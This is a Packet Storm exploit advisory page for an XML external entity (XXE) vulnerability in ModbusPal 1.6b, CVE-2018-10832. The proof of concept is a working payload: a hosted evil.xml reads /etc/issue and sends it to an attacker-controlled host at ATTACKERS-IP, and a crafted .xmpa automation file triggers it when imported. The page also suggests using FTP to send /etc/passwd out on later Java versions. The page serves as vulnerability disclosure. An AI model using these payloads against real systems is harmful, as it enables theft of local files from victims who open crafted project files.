what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ModbusPal 1.6b XML External Entity Injection

ModbusPal 1.6b XML External Entity Injection
Posted May 10, 2018
Authored by Trent Gordon

ModbusPal version 1.6b suffers from an XML external entity injection vulnerability.

tags | exploit
advisories | CVE-2018-10832
SHA-256 | 53bb5160dea2fc4c4d5c9c108d6af89ad0622323762be453253962cff0dc4dff

ModbusPal 1.6b XML External Entity Injection

Change Mirror Download
[+] Exploit Title: ModbusPal XXE Injection
[+] Date: 05-08-2018
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://modbuspal.sourceforge.net/
[+] Software Link: https://sourceforge.net/projects/modbuspal/files/latest/download?source=files
[+] Version: 1.6b
[+] Tested on: Ubuntu 16.04 with Java 1.8.0_151
[+] CVE: CVE-2018-10832

1. Vulnerability Description

ModbusPal 1.6b is vulnerable to an XML External Entity (XXE) attack. Projects are saved as .xmpp files and automations can be exported as .xmpa files, both XML-based and vulnerable to XXE injection. Sending a crafted .xmpp or .xmpa file to a user, when opened/imported in ModbusPal 1.6b, will return the contents of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting evil.xml)

b.) Contents of hosted "evil.xml"

<!ENTITY % data SYSTEM "file:///etc/issue">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKERS-IP:9999/?%data;'>">

c.) Example Exploited "xxe.xmpa"

<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/evil.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<!DOCTYPE modbuspal_automation SYSTEM "modbuspal.dtd">

<modbuspal_automation>

<automation name="temp" step="1.0" loop="true" init="0.0">

</automation>

</modbuspal_automation>

3. Additional Details

Java 1.7 contains certain defenses against XXE, including throwing a java.net.MalformedURLException when certain characters (such as '/n') are included in a URL. This means that the file exfiltrated in the above attack is limited to single line files that dont contain any restricted characters. The above POC uses /etc/issue, which is one of the few common linux files that meets this criteria. Exploitation of this vulnerability on later versions of Java requires a more creative approach than described above, such as using FTP instead of URL to exfiltrate /etc/passwd.


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    0 Files
  • 7
    Mar 7th
    0 Files
  • 8
    Mar 8th
    0 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close